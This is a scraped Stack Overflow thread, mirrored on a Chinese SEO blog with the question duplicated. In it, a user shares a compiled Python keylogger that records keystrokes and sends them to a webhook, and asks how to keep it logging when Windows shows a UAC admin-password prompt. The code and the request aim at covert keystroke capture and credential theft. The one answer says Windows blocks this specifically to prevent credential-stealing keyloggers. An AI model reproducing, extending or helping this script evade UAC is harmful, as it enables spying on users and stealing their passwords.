最新消息:雨落星辰是一个专注网站SEO优化、网站SEO诊断、搜索引擎研究、网络营销推广、网站策划运营及站长类的自媒体原创博客

Windows uac popup stops my python exe from working - Stack Overflow

programmeradmin2浏览0评论

I have written a simple python script and I have compiled it into an exe, but every time I open an app and windows asks me for admin password, it stops working. How do I get around this?

import keyboard
from dhooks import Webhook
a = []
hook = Webhook("my webhook")
trf = False
while not trf:
    event = keyboard.read_event()
    if event.name == "f3" and event.event_type == keyboard.KEY_UP:
        trf = True
while True:
    event = keyboard.read_event()
    if event.event_type == keyboard.KEY_DOWN:
        a.append(event.name)
    if event.name == "f3":
        break
txt = ""
for i in a:
    if   i == "space"               :txt += " "
    elif i == "f3"                  :continue
    elif i == "shift"               :continue
    elif i == "ctrl"                :continue
    elif i == "backspace"           :txt = txt[:-1]
    elif i == "up" or i == "down"   :continue
    elif i == "left" or i == "right":continue
    elif i == "enter"               :txt += " <enter> \n"
    else                            :txt += i
hook.send(a)
hook.send(txt)

basically every time a uac window pops up the script stops listening to the keystrokes and returns nothing to the webhook

I have written a simple python script and I have compiled it into an exe, but every time I open an app and windows asks me for admin password, it stops working. How do I get around this?

import keyboard
from dhooks import Webhook
a = []
hook = Webhook("my webhook")
trf = False
while not trf:
    event = keyboard.read_event()
    if event.name == "f3" and event.event_type == keyboard.KEY_UP:
        trf = True
while True:
    event = keyboard.read_event()
    if event.event_type == keyboard.KEY_DOWN:
        a.append(event.name)
    if event.name == "f3":
        break
txt = ""
for i in a:
    if   i == "space"               :txt += " "
    elif i == "f3"                  :continue
    elif i == "shift"               :continue
    elif i == "ctrl"                :continue
    elif i == "backspace"           :txt = txt[:-1]
    elif i == "up" or i == "down"   :continue
    elif i == "left" or i == "right":continue
    elif i == "enter"               :txt += " <enter> \n"
    else                            :txt += i
hook.send(a)
hook.send(txt)

basically every time a uac window pops up the script stops listening to the keystrokes and returns nothing to the webhook

Share Improve this question asked 23 hours ago ispanezos apothnispaniaispanezos apothnispania 11 silver badge2 bronze badges New contributor ispanezos apothnispania is a new contributor to this site. Take care in asking for clarification, commenting, and answering. Check out our Code of Conduct.
Add a comment  | 

1 Answer 1

Reset to default 1

Windows will not let your program read what the user types into a UAC prompt. It does not want you to be able to build a malicious keylogger and steal user credentials.

See this thread on the keyboard library issue tracker, which says the same thing.

发布评论

评论列表(0)

  1. 暂无评论